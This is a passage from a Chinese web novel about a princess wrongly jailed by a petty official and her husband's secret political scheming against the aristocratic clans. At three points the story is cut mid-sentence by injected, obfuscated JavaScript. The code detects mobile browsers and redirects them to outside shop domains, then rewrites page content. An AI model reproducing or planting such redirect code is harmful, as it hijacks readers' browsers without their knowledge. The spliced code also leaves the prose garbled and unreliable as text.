几个不入流的混混而已,家里人多了总有几个这样不着调的。冯妙瑜实在懒得理会,这种人有贼胆没多少贼心的,待会报了官让他们在监牢里面蹲上个三五天就老实了。 冯妙瑜起身欲走,刘三登时急了,忙拉着两个壮汉堵在冯妙瑜和阿玉身前。 “姑娘们别走啊,”刘三道,两个眼袋松松吊在眼睛下面晃荡,“想来姑娘误会了。我不是什么坏人,我只是心疼姑娘,见不得美人受委屈而已。” 他指着冯妙瑜的手腕,她今日戴的是成亲时张氏送来的那只金镯子。刘三于是一脸痛心疾首。 “妹妹,你那夫家连个新镯子都不舍得打给你,你又何必替他说话呢。倒不如跟着我,我这个人是最怜香惜玉的,不信你去平康坊里问,定不会叫你吃一点苦头……在各种方面上。保管比你那个夫家强。” 他话里意有所指,身后那两个壮汉也十分配合的贼笑捧场。 “我说了,让开。”冯妙瑜只觉得倒胃口,这人怎么跟腐烂的牛皮糖一样,又粘糊又恶心。谁是他妹妹。 “我就不让,妹妹先答应了我再说别的。或者先叫声哥哥来听听。” 刘三嬉皮笑脸,说着还伸手作势要抓冯妙瑜衣带。 “注意分寸。”冯妙瑜就道。 这话是交代给阿玉听的。范氏做生意不易,若在她的店里闹出了血案,可叫她日后怎么接着做生意糊口。 阿玉素来严谨守礼,最恨这种不三不四的做派,骨节早就捏的咔啦咔啦地响,就等冯妙瑜发话了。她闪到冯妙瑜身前,左手直直迎向刘三伸过来的手。 刘三心中窃喜,以为阿玉是害羞要拍他的手。 年轻姑娘细软的手,他呼吸一时间变得急促,就连眼神都有些迷离……下一秒,手腕间一阵剧痛,刘三抱着脱臼的手腕哀嚎。他身后那两个壮汉又惊又怒,像是被人掐住了脖子的鸡,笑声戛然而止,看看刘三被拧成麻花的手腕,再看看一脸平静的阿玉,两人不约而同后退一步。 “你知道我是谁吗,你竟然敢,敢打我,我要你吃不了兜着走!小娘养的!”刘三疼的满头大汗,回过神后尖叫道。 “那请务必让我见识一下。”冯妙瑜笑笑。 朝中那些正一二品的大员再看她不顺眼都不敢说让她吃不了兜着走,朗朗乾坤,他寻衅滋事动手在先,倒还有理了。 “你等着!” 两个壮汉匆匆扶着刘三离开。 范氏一脸担忧,那个刘三听起来是个有来头的人物,冯妙瑜如今得罪了他可怎么是好……冯妙瑜安慰她两句,也带着阿玉离开。再待下去就是给范氏添乱了。 只是两人才出了胡饼铺子没走两步,七八个街吏突然涌上来,将冯妙瑜和阿玉团团围住,长刀寒光逼人。 “表哥!就是那女的——” “就是她偷了我的银钱,还打伤了我!” 刘三惨白的脸上浮现阴森森的笑意。说起来他今日的运气真的不错,前脚被扶着出了铺子,后脚就遇到了前来巡逻的街吏,领头的还正好是家中表哥。他忍痛看向冯妙瑜,希望能从她脸上看到一丝慌乱。 可冯妙瑜根本没看他。她忙着抬手给不远处公主府的侍卫打手势。 领头的街吏大手一挥,“就是她们俩?给我押走!” 26. 26 自古以来,牢狱总是建在又湿又冷的地下。分明是盛夏正午,京兆府大牢里却伸手不见五指,微弱火光在黑冷的械具上一跳一跳。 冯妙瑜和阿玉被几个街吏一路押到了刑房中“候审”,刑房内空间逼仄,要说唯一的好处就是凉快……大夏天能凉快到让人想狠狠打几个哆嗦的地方真不多。 通常关押疑犯都有专门的牢房,不会关在刑房里,更不可能把两人关在同一间房子里撂着不管,冯妙瑜猜这是想给她和阿玉来个下马威。 被关在一间黑冷冷满是刑具的房间里,人对黑暗和未知或多或少有种从骨子带里的恐惧。但此地的氛围和她小时候生活的冷宫有几分相近,何况还有阿玉在身边,冯妙瑜就觉得没有什么好担心的,毕竟那是一个能徒手震断铁锁的女子。至于阿玉,她在这间刑房里简直像是回到了家。 阿玉一进来就先绕着转了圈,时不时还伸手去摸摸挂在墙上的刑具,转完一圈,她甚至摇头叹气,非常失望。 “比宫里的差远了。这里的家伙也不是很全。”阿玉说。 毕竟暗卫除了护卫的工作外,有时候也会负责审讯,这些刑具阿玉了如指掌。 冯妙瑜则觉得冷,她拢了拢衣领,“这里就没有一处能坐的地方吗。” 刑房上首虽有审讯用的书案和长凳,冯妙瑜伸手拉长凳时却触到一片混合着旧蜡的滞黏,不用想都知道是什么,怪膈应,京兆府这些人也忒不讲究了,审完了人都不知道擦一擦收拾干净的。 —— 曹七伸了个大大的懒腰。 派人送表弟刘三去医馆后他就一直在值房里午睡,他只是个街吏,但是京兆府名义上由献亲王总领,他是刘三的亲戚,硬要说的话也和献亲王沾点亲故,午睡一下,没人会多说什么。 “什么时候了?”他推开值房的门。 “快到末正了,曹大人。”外间就有人答道。 午睡刚醒后人的脑子总是蒙蒙的,把那两个姑娘扔在刑房差不多有一个时辰了吧?是时候过去看看了。 曹七懒洋洋地挥手叫人去拿牢狱的钥匙。 刘三是什么样的人他其实心里门儿清,但碍于在人家屋檐下——没有刘家的荫庇他这会还不知道在哪呢。反正他也只是配合着刘三吓唬吓唬人,这种事情就是有了一次就有第二次,一回生二回熟了。教训人就关上一夜,吓唬人是一个时辰正好,不然真吓坏了他也没办法交代。 生锈的铁门哐当当地开了,风灯的光晃悠悠只能照亮脚下的一团。 刑房内一片寂静。 这刑房不是什么吉利地,鬼气重很,平日里哪怕是京兆府中人都不大愿意到这里来,这样的安静,那两个姑娘不会是吓昏过去了吧,曹七就想。 随行的小吏点亮了书案上的油灯。 和阿玉两个人待在一间小黑屋里实在是无聊的紧,冯妙瑜就靠在还算干净的绞架边上小憩了会,直到火光晃眼,她才睁眼醒来。屋里的光线实在是刺眼,她什么都没看清,于是又伸手揉了揉眼睛。 “总算来人了……阿玉,过来扶我一下,那木头硌的人背疼。”冯妙瑜迷瞪着嘟囔。 此地虽然凉快,终究比不得她府里的大床舒服,睡得不踏实还腰酸背痛。 曹七也揉了揉眼睛。 他怀疑自己看错产生了幻觉或者是走错了房间。那两个姑娘皆是一副松散自在的悠哉模样,看起来不像被关倒像是来郊游的……合着这两人把这里当成了什么地方,牢狱主题客栈吗? 曹七觉得自己在自己的地盘上受到了严重的轻视。这是不可容忍,也是他所不能容忍的。 于是他在书案后坐下,重重一拍惊堂木,震的灯影森森乱摇。 “你们两人,见了本官为何不行礼?” 曹七喝道,又指冯妙瑜。冯妙瑜还没有完全回过神来,眼睛才睁开了一半。曹七嘴角抽动,以往人进了这屋,哪个不是哭天喊地下跪求饶喊冤的?他觉得这已经不单单是轻视,这是根本没把他这个人,甚至是京兆府放在眼里。 “你,姓什么,哪里人士,现住哪里,父母夫家都是何人,做什么营生?你偷人钱财,还故意指示侍女打伤钱主——你可知罪?”曹七道。 “大人问话,两位姑娘还是从速如实招来的好,免得大人动刑两位受皮肉之苦。那斩子一上,哎呦喂,再好看的手这日后也看不成了。”见曹七动怒,一旁随行的小吏立马道,他还十分贴心拿起拶子咔咔比划着演示了两下。 曹七身子往后靠了靠,心想这两个姑娘也不知道从哪蹦出来的不知天高地厚,无知者无畏,现在大刑临头,总该知道害怕了吧? “拶子。”阿玉纠正,“那字念拶(zan)不念斩的。还有你的用法也不对,拿反了,你看这头才是夹手的地方,你用那头是使不上劲的。” 冯妙瑜:…… 曹七:…… 到底谁是主审,耗子教猫怎么用老鼠夹,这倒反天罡了还! 曹七手指又指阿玉,“你又是什么人?” —— 京兆府,值房。 年过半百的京兆尹钱衡腾的一下从椅子上跳起来。京兆府长官牧虽是献亲王,但这样类似的头衔献亲王还有五六个,京兆府实际主事的其实是他这个京兆尹。 “您刚刚说,长公主殿下被下官手底下的人抓进了京兆府大牢里,大人,您,您没在开玩笑吧?”钱衡拿帕子抹汗,怀疑是自己听错了。 “七八个街吏押着公主和侍女进了京兆府大牢,此乃我等亲眼所见,绝不会有假。公主眼下还在大牢里,还得劳烦钱大人带个路。”公主府一个侍卫道。 冯妙瑜那时打手势就是在交代他们,先把购买的东西运回府中,一个时辰后她若还在牢中没有出来,就上京兆府找她。 —— 虽说只是做个样子,随行的小吏还是抖开了空白卷宗,又舔了舔毛笔尖埋头记录起来。 “姓冯,盛京生人,现住崇仁坊,父母……”冯妙瑜迟疑,小吏的笔也跟着悬停在半空中。 这该怎么回答?父母住在宫里,名讳不能说,至于做什么营生的,皇帝?皇帝也能算是一种营生吧?冯妙瑜很认真地想了想。 等等,崇仁坊? 曹七突然警觉起来。 崇仁坊可在皇城根下,地价不菲,能住在那里多是富贵人家,听说好几位亲王还有公主的宅第都在那处……不,崇仁坊占地不小,住在那里也说明不了什么。从外面回廊传来杂乱的脚步声,也许是来押人提审的,这不奇怪。曹七没多想。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14529011|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “崇仁坊可大了,你具体住哪!”他色厉内荏,猛拍桌子。 刑房的门猛地打开,大团的火光涌进屋内,曹七看清楚顶头上司钱衡的脸时,钱衡也看到了里面正在接受审问的冯妙瑜。曹七当然没见过冯妙瑜本人,钱衡却遥遥见过她好几面,这会一眼就认出来了。 钱衡闭上了眼睛,又开始擦汗,只恨自己生晚了几年。 若是能早生几年,他这时候都已经致仕回家种豆南山下养老了。何须处理这些个烂摊子。① “一点粗茶,还望公主不嫌弃。” 半柱香之后,冯妙瑜坐在京兆尹宽敞的独立值房里,端起茶水浅浅抿了一口。 “微臣驭下不利,才闹了的这样的事情来,是微臣失职,”钱衡一句话翻来覆去说了好几遍,他一面局促地搓手,一面又问道:“公主,那几个不长眼的小子都已经关起来了,您看是怎么处置他们?” “这个钱大人似乎不该问本宫。该怎么处置就怎么处置呗。只是这样的事情可不该有下次了。”冯妙瑜摆摆手。 她又不是判官,何况京兆府名义上还是她皇叔统领着,诬告反坐也好,枉法擅权也罢,皇叔的人她插什么手。 既说了要按照章程办,那笔录肯定少不了。冯妙瑜,阿玉还有随行的侍卫都要做笔录,饶是钱衡匆匆找了三个小吏过来记录,一套章程下来,冯妙瑜再出京兆府时暮鼓声远远传来,鸟雀扑棱着跃入天空,已经到官员下值的时辰了。 着各色官袍的官员三三两两出了值房,秘书省的值房也在附近,冯妙瑜没费多大劲就看到了谢随,青色官袍,他和几个同僚走在一起。她挥手叫住了谢随。她那辆青盖小车在府里。当然叫个马车回去也行,但她更想蹭谢随的马车。 “公主怎么在这里?”谢随惊讶。 “说来话长……” 冯妙瑜绞着帕子,谢随那几个同僚在不远处探头,让她有点紧张,“一起回去吗?” 谢随点头。吩咐马夫赶了马车过来。 马车里堆放了不少公文,本就不大的空间更是有限,冯妙瑜就贴着谢随坐在他身边,她大致和他说了今日的事情,“也不知道最后钱大人怎么处置那几个人,那几人看起来是惯犯了,也不知道用这样的手段祸害了多少人……” 谢随心不在焉地听,听完陷入了沉思,睫毛半垂着,细长的阴影落在眼睛下面。 冯妙瑜好奇道:“在想什么?” 谢随回了神,侧头对上她澄澈柔软的眼睛,马车外是东市间热闹非凡的叫卖嬉笑声,他突然低头凑过来。 冯妙瑜吓一跳,伸手抵在他肩膀上,“这是在马车上!外面还有人……会听到的。” “不会,外面那么吵。”谢随说。 “那会弄脏官服的,你明日,明日要怎么见人?”冯妙瑜断断续续说。 “正巧我明日休沐。” 谢随抬头,狡黠地笑了,上挑的唇角像个小钩子,眼角眉梢湿漉漉流淌着诱惑,那眼神是滚烫的,只一眼,就叫她融化成一滩软软倒在了座位上。 “谢公子太狡猾了。”这简直是犯规。 冯妙瑜心跳一滞,回过神来便抓着他的胳膊用力啃了一口。他这是拿准了她不会说不吧?她心里莫名升起一丝丝的难受,虽然事实如此。 27. 27 马车足足绕着东市转了三圈。等回到公主府时日已西沉,虽然没有人多嘴乱说什么,冯妙瑜还是止不住的脸热,好在天色够黑。 胡闹这么一通两人都累了,回府用过晚膳便早早洗漱睡下了。 这晚冯妙瑜难得睡了个好觉。 翌日一早,她醒来时谢随还在睡着,阳光透过青蓝色的帐子铺在床边上,她已经尽量小心去挪他搭在她腰间的胳膊了,可还是吵醒了他。 谢随懒懒眯着眼瞟了眼窗外,扭身又把冯妙瑜按回怀里,嘴里低低嘟囔着说,“还早,再睡一会……” 还早? 这太阳都快照到三竿了。 冯妙瑜有些无奈,没想到这人还有赖床的毛病,她抬头瞅着他,不过呼吸的功夫他又睡过去了。她伸手戳了戳他也没反应。 这人怎么和猫儿似的,说睡就睡了。冯妙瑜想。 等两人起来都快到正午了。 冯妙瑜侧对着镜子带耳坠,冰透白玉滴,一滴凝结的泪,她从描金菱花镜里望见谢随从屏风后绕进来穿衣。往常谢随要上衙门点卯总是早早出门,这好像还是头一回两人一起床。 今日休沐,他穿了件爽利的淡竹青色长袍,很家常的感觉,她抬手戴上另一边耳坠,想了想,走过去从他手里抽走了革带。 “我来吧?”冯妙瑜说。 话本子里那些恩爱夫妻,常有丈夫一早帮妻子画眉,妻子帮丈夫整理衣裳的桥段……难得有机会实践一番,她跃跃欲试。 只是男子所用革带和女子的衣带不大一样,谢随的又格外繁复,她摸索着捣腾了几次还没有系好,死结倒是打了好几个。谢随垂眸看着她一脸认真的在自己腰间摸来摸去,喉结滚动,最后他轻轻叹气,“公主……” “嗯?”冯妙瑜正忙着和革带缠斗,头都没抬一下。 “还是我自己来吧。”谢随抓住她的手。 再叫她这样揩油揩下去,怕是今天一天都出不了房门了。 “好吧。” 他既坚持,冯妙瑜只好悻悻收了手,后退半步看着他。第一回手生嘛,下次肯定不会这样了。她想。 早膳是在炉子上小火滚出来的绿豆百合粥,一碟马蹄虾仁的蒸饺和几样小菜点心,清清爽爽,只是夏暮酷暑闷热,冯妙瑜没什么胃口,只吃了两口就放下筷子。 “你今日打算做什么?”她随口问。 看看书,或者练练字?平日忙着的时候想做的事情一大堆,一旦真的闲下来,却又不知道要做些什么了。 “没什么安排,公主有什么想做的?”谢随就道。 冯妙瑜用手支着下巴。她本来想拉着谢随一起去后花园里逛逛的,住进来这么久还没好好转过呢,可扭头又看到外面的大太阳。算了,这种天气还是不出门的好。 于是她眨了眨眼睛,又提议,“去书房里下棋怎么样,前些日子我新得了一套棋谱。” 那棋谱其实是前几日买话本子时相熟的店掌柜随手送的,卖不出去的老古董,哪里能比话本子有趣。冯妙瑜翻都没翻开就扔一边去了,她是想起了谢随喜欢下棋,才记起那棋谱的事。 反正都是消磨时间。谢随点了点头,这个时候竹帘掀动,翠珠进来了。她行了个礼,将手中的信函递给冯妙瑜,“公主,这是今早送来的。还有,献亲王府的管事过来了,人这会在花厅等着您呢。” 那信是从仁亲王府送来的,赵氏邀请她和谢随参加小半个月后的赏花宴。至于献亲王府的管事,估摸着是为昨日的事情来送赔礼的。冯妙瑜心里已有了数,她随手把信递给谢随。 正好去书房要路过花厅,她就对谢随说,“我们一起去花厅吧?处理完事情正好顺路去书房下棋。仁亲王府半月后要办赏花宴,你有时间一同去吗?” “早上我要去衙门点卯,估计不能陪着你一起过去,”谢随想了想说,“不过下午下了值可以过去。” “那我就和仁亲王妃说你也要去了。”冯妙瑜笑道。 眼下正是日头最烈的时候,侍女在后撑着伞簇拥着冯妙瑜一行人去了花厅。献亲王府统共来了三个人,一胖两瘦,瘦的两个戴了斗笠低头站在后面,白胖的那个原翘着脚尖喝茶,看见冯妙瑜,忙站起来对着冯妙瑜和谢随一一行礼。 “小人见过公主,驸马。愿公主万福,驸马吉祥。” 那白胖管事说话时长长拖着腔调,叫人听了很不舒服。 这种能代王府出面和事的都是油滑的不能再滑溜的老狐狸,锦上添花有他一份,到了需要雪中送炭的时候又跑的比谁都快。反正这次是他们理亏在先,冯妙瑜也懒得装样子,摆摆手直接打发走上茶的侍女,不耐烦摆在台面上。 白胖管事立马会意,浅浅赔笑两句便奉上一只锦匣,里面三支宝石簪子,底下垫着两张薄纸,一张是银票,另一张也是。 冯妙瑜莫名有种收压岁钱的感觉。这还没到过年的时候,她也早过了能收到压岁钱的年纪了。 白胖管事一直盯着冯妙瑜,见她没推辞收下赔礼,他松了口气,又搓手笑道:“这还只是一部分的礼呢……公主,可否方便借一步说话?” 说这话时,他刻意看了眼谢随。 昨日的事情谢随都知道,没什么需要瞒着他的啊。冯妙瑜就说,“有什么你说就是。” 白胖管事面上流露出几分为难,迟疑一下才继续。 “王爷还特地给您备了一份大礼。”他说着,扭头对身后那两人道:“没个眼力见的,还不快点上去给公主请安?” 那两人一前一后摘了斗笠,都是十几岁出头的男孩,前一个生的剑眉星目,后一个则是个腼腆清秀的,一直半低着头,两人上前款款行了礼,短短一句“见过公主”,竟然能弯弯绕绕转了十八个弯。 吓得冯妙瑜抖了一下。 “这是,这是面……”白胖管事又看一眼谢随,把面首的那个首字吞进肚子里,他眼睛咕噜噜转了半圈,灵机一动。 “是这样,最近京中也不是很太平,年初公主不是还受了伤?我们王爷十分担心公主,就从府里挑了这两个过来送给公主做护卫,还望公主笑纳。” 那两人显然是训练有素的,闻言挨个儿抬头报上自己名字,不只是声音千回百转,就连眼神都黏糊糊拉着丝儿的勾人。无家可归的小狗似的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14558948|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼巴巴瞅着人。 冯妙瑜还没来得及开口,一旁的椅子和地面突然擦出一声刺耳的尖啸声。 谢随面无表情起身,他冷冷斜睨那两人一眼。 分明有手有脚的,做什么不好,偏偏要来做这个呢。 护卫? 献亲王府这管事当真是说谎都不知道提前打个草稿的。就这两小男宠那细胳膊细腿,若真遇上了事能保护得了谁?又拿什么保护——靠那妖里妖气的眼神和声音勾走对方的魂么? 谢随抿着唇,他心里知道冯妙瑜并没和那些面首做到那一步。但没有做到那一步,做到那一步了?卿卿我我?搂搂抱抱?像有一只无形的大手用力捏着,狠狠挤压着他的胃肠。 那些人会不会簇拥着她讨好她,她会不会躺在别的男子怀里笑着和他们说话……那种场景,光是想一下都让他觉得无比反胃。 这绝不是出于爱或是嫉妒,只是出于尊严,人之常情而已。男子也好,女子也罢,任何一个人看到自己的伴侣转头就和其他人亲近都会生气的。这很正常。谢随在心里对自己说。 “突然想起来还约了人,我就不奉陪了。先告辞。”谢随抚了下衣角,面上云淡风轻笑着。 他虽然笑着,可冯妙瑜就觉得他其实是在生气。 “谢……”她想留住他,可谢随早已经转身离开,脚步没有一丝停顿。 “公主?” 她一起身,底下两个便黏黏地贴上来。冯妙瑜拿扇子推开那两人的手,态度很明确了,她淡淡道:“你转告皇叔,他的赔礼我收下了,但这个两人就算了。皇叔的心意我领了,只是我府里不缺护卫。” “可王爷特地吩咐了,”白胖管事顿了一下,又问:“您难道是介意驸马的态度?这驸马也忒小心眼了,奴才可以帮您去说……” 冯妙瑜打断他的话。 “人你带回去。你若不带他们回去,那我即刻派人把他们送回皇叔府上。你就说我怎么样都不愿意收,皇叔知道我的性子,不会说你什么的,”冯妙瑜往门口望了一眼,这会连谢随的影子都瞧不见了,她招来门口的侍女,“送客吧。” 冯妙瑜匆匆冲出了花厅,仍没看见谢随的影子,倒是见阿玉领着个穿红衣裳的姑娘正往这边走。 “可有见驸马?”冯妙瑜问。 “驸马?奴婢方才见驸马往马厩方向去了,这会估计已经骑马出府了。”阿玉答。 冯妙瑜跺了跺脚,又叹气,他骑马出去可就很难追得上了。 阿玉不知道发什么了什么,指了指旁边那红衣姑娘,“公主,您要找的榴红,人我给您带过来了。” 说着,阿玉又从袖中摸出一张字条,“公主,昨日买回来要送给五公主的东西怎么和您列的单子不一样,多订了一袋子青槐嫩叶。” 冯妙瑜回了神,“那个不是给五皇妹的,你拿到厨房去。” 婚前合八字的时候她特地留意了谢随的生辰,就在这个月月底,廿七。祥云酒楼已有很多年不做那道槐叶冷淘了,她想给他一个惊喜……至于今天的事情。他晚上总会回来的,到时候把事情摊开解释清楚就好了。冯妙瑜想。 28. 28 开明坊,盛京一百零八坊市间十分不起眼的一座,既没有尖顶的异国波斯寺,也没有名动京华的美酒美馐,要说有什么特色,坊内种植有大片的竹。 夏日午风穿过细长萧条的街道,竹叶索索低语,风在街巷深处停下脚步,小径尽头,隐约可闻琐碎的古铃声。博古斋,颇负古意的招牌,黑底牌匾上桐油的味道还没有散去,那是近来新开的一家古董铺子。 老桃木的架子顶在天花板上,南朝莲花浮雕的盘子,晋时磕碎半个角的花瓶,老旧的尘埃在空中起舞,推开门就像是步入了另外一个世界,一个和盛京繁华格格不入的世界。 年轻的掌柜穿着件深蓝夏布长袍,他伸手抚平袖子上的褶皱——这个动作让他觉得自己像个文质彬彬的读书人,他端着托盘上了二楼。 二楼是间清雅的茶室兼书房,窗外正对着热闹非凡的朱雀大街,阳光洒在连绵不断的乌青瓦上,窗边,穿竹青色衣裳的人正专注地写着什么。 “这是第十杯茶了!”年轻的店掌柜夏宵以希望这人识趣一点赶紧走人的气势放下茶盏,“你知道你现在看起来像什么样子吗?” 谢随没有搭理他。 “我说,你们小夫妻闹别扭你跑我这里做什么?做生意最讲究风水,你看你这尊瘟神一来,把本来要来的客人全都吓没了。”夏宵抱怨说。 待写完最后一个字,谢随才抬起头,挑了挑眉,一脸平淡地戳人心窝。 “你这店开店一月有余,支出共计五百三十七两银子,进项为零。说得好像我不来,你这就有客人来似的。” “这,这万事开头难,再过一个月肯定就不一样了……” 夏宵说,只是他的声音明显低了八度,像是被霜打了的茄子。毕竟店里一切开支全靠谢随支援着——准确来说是靠他们和蛮族的贸易撑着,人在屋檐下,吃人嘴短,他也不得不低头。 谢随拿起写好了的纸吹干墨水,又读一遍,递给夏宵。 “这是?” 夏宵低头翻看,那纸上面只写了三个人的名字,还有一个时间和地点。 “我需要你帮忙散布消息给这个人,让他知道只有长公主能帮到他,”谢随喝了口茶,用手指了其中一个名字,“然后让他在这个时间,在这个地方拦下公主的车驾申冤。” “拦公主的车驾,你这是打算做什么?”夏宵一脸不解。 拦车驾……是要上去打劫吗? 怎么这人话里每个字他都能听得懂,但组合成一句话就不知道是什么意思了。 “接下来的事情那人自己知道该怎么做,你不用管。”谢随说。 “盛京看起来一团和气,但那也只是表面上。那位的位子来的不正,对当年亲近大人那些清流世家,许家、平远侯,甚至谢家……这些年来他可没少借着提拔寒门的由头打压。” “你想争取清流世家的支持?” 可这和让人拦公主的车驾有什么关系。 “争取世家的支持?”谢随摇头,手指轻扣桌面,“不需要争取他们的支持。我们要让那些世家心甘情愿的倒向我们这一边——” “你这是打算借公主和寒门的手打压世家,让他们不得不向大人倒戈?”夏宵好像明白了些。 “是,如今寒门和世家基本上势均力敌,世家当然不会冒着赔上整个家族的风险支持大人,但当这个平衡被打破,火烧到他们的眉毛上了,他们可就不得不冒这个险了。”谢随笑笑。 “那公主……?” 世家大族百年经营,势力从京畿到地方盘根错节,能得到他们的支持自然百利无一害。只是此计难免将冯妙瑜推到风口浪尖上。 众口铄金,积毁销骨。一个人的身子骨那样单薄,怎经得起这样的折腾。夏宵微微皱眉。① “你怎么突然问起她。难不成,你也看上她了?”谢随漫不经心地说,他的睫毛半垂着,嘴角的笑意笼在一片细细密密的阴影里,意味不明。 什么叫他也看上冯妙瑜了? 夏宵一愣,瞪大了眼睛,气得好半晌才开口。 “你这话是什么意思?我是那种人吗,我问起她——是在担心你啊。” 算起来夏宵认识谢随有很多年,谢随这个人好像从来都是无比冷静的,自从当年谢家出事,只有他一个人侥幸活下来后,那种冷漠,甚至是漠然又变本加厉。好像他身体里那个“人”的部分早已经死去了,只剩下某种精心设计的机械还在运转着,算计着。步步为营着。 夏宵还记得当年谢随清算那些害死谢家人的山匪。白刀子拎进去红刀子出来,没人知道他进去做了什么,说了什么。侍从在他的命令下提着铁桶,一桶又一桶的石脂水倒进去,不过指甲盖大的火星,整座寨子瞬间塌倒化为一片火海。② 长夜里业火如莲,炽热焚风扑面掀起衣摆。 大仇得报。这该是个普天同庆,大快人心的时候。夏宵就觉得他该拍拍谢随的肩膀来句,“今个是个好日子。都结束了,走,咱们喝酒庆祝去。” 可他扭过头,对上的却是一张无比平静的脸。 一张有如万物尚未诞生时的亘古长夜般平静到绝望的脸。 仇报了。 可那又如何? 就算手刃了一百个,一千个仇人,用刀用火焰把他们烧成灰烬……可谢家的人还是死了。 没有任何人,任何方式,能挽回已经画上了句号的死亡。 在它面前,每个人都脆弱的像一张苍白的薄纸。 “我们事成之后,她,你打算怎么办?”夏宵问。 作为共事的同僚,他希望谢随能一直冷静精密下去。但作为朋友,他希望谢随能闹闹别扭……活得有点人味儿。 “放心,都说一夜夫妻百日恩,我没打算要她的命。”谢随依旧垂眸笑着,“冯重明倒了她也没了靠山,你若喜欢我就送到你府上,是娶还是纳你随意。你若没兴趣,我会把她送到一个远离盛京的地方好生养一辈子。” “谢安之!”夏宵愣了一下,不由得提高了声音,“你的意思是事成后,打算软禁她一辈子?” “远离这个鬼地方,清清静静的颐养天年不好吗?” 谢随扭头望向窗外,朱雀大街上游人如织,分明一片太平盛景,他的眼神却像一个重度洁癖看到一块污渍,带着深深的厌恶。 “她若是识趣点,给她送几个面首过去陪她玩玩也不是不可以。” —— “是谁开的窗户?这面粉吹得到处都是,快关上!” 白烟弥漫,长公主府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582496|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原本敞亮干净的厨房里,是前所未有的混乱。 靠窗长案摆着的调料罐子已经被清空,取而代之是各种……绿色的类球状物。软黏的、生硬的、干裂掉渣子的,千奇百怪,虽说是面粉和水做的,但没有一团看起来像能入口的食物。 侍女匆匆上来关了窗,冯妙瑜被面粉呛得直咳嗽,面团和得太稀,她按面点师傅讲的往里头加面粉,又想开了窗户通风面团会不会干快一点。于是,就成了现在这个样子。 面点师傅欲言又止。 “这离驸马的生辰也没几日了,公主对驸马的情意大家都看在眼里的,”翠珠上前小心劝道:“那生辰面不如就让面点师傅做了,到时候由公主端上去,想必公主的一片心意也就送到了。” 面点师傅和厨房里其他几人点头如捣蒜。 冯妙瑜咬着唇,一点一点剥下黏在手上的面团,十分郁闷。 “这不一样。”一袋子槐叶已见了底,怎么就拿这么小小一团面没了办法,冯妙瑜不甘,“再买一袋来。” 精诚所加,金石为开。 她就还不信开不了区区一团面了。③ 厨房门突然开了,阿玉进来,言简意赅,“公主,驸马回来了。” “快收拾了,千万别让驸马瞧见了。”冯妙瑜忙擦了手上的面粉。 既然打定主意要给他一个惊喜,就得瞒到最后一秒。反正后面几日谢随都要去衙门,她有的是时间练习。 为保险起见,冯妙瑜沐浴更衣完了才回听荷轩,等她回去,谢随已经睡下了。 只是他似乎还没睡着。 冯妙瑜迟疑了一下,在他身边躺下了,青色帐子边上垂着如意冰花的络子,她轻轻开口,“谢随?我想和你说今天早上的事情……” “嗯。”谢随含混应了一声,好像是困得不行了,声音低低的,“那是公主的事情,您不必向我交代什么。没有这个必要。” 没必要,这三个字有时候可以代表很多意思。 不在乎。 不想听。 冯妙瑜原本要说的话就卡在了嗓子眼里。 不上不下。 她想了一会,用手肘支起身子,谢随清俊的侧脸在月光下显得越发平静,有种陶瓷般的质感,她小声唤了两声,没反应。 他似乎是真的睡着了。 冯妙瑜只好又躺回去,她伸手,想从背后抱着他睡,谢随却正正好好翻了个身,堪堪躲过了她的手。 冯妙瑜的手就停在了半空中。 ……原来他是在装睡啊。 暮夏的夜里已经有了几分冷意。其实她根本不了解谢随。她突然想起和张氏吵起来那天,张氏冷冷宣称说这段婚姻不可能幸福。 也许母妃真的是对的吧。冯妙瑜浑浑噩噩地想,但她就是不想承认。 生在帝王家,生不逢时,不受待见都是她所不能选择和改变的,可身边的这个人和这个家是她自己选择的啊。如果连自己亲手选择的人都是错误……冯妙瑜不愿意再想下去了。 她翻了个身,一点一点把自己卷起来蜷缩成一团,可肩膀还是在颤抖。 明天就会好。 明天一定会好起来的。 她盯着蓝沉沉的墙壁,在心里默默安慰自己。 29. 29 身旁传来一丝很轻的抽搭声,谢随抿了抿嘴,面首的事情他什么都没说,没有过问,甚至还把空间留给了她和那个送男宠的……他不明白冯妙瑜有什么好委屈。院外的蝉叫个不停,他强压下心里的烦躁,合上眼睛,渐渐睡了。 黑暗中,马蹄声从很远很远的地方传来,穿过整整八年的时光,慢慢近了。他能闻到自己皮肤上跳动着阳光味道。 “可算睡醒了?”有人问他。 谢随缓缓地睁开眼睛。 熟悉的声音,熟悉的梦。 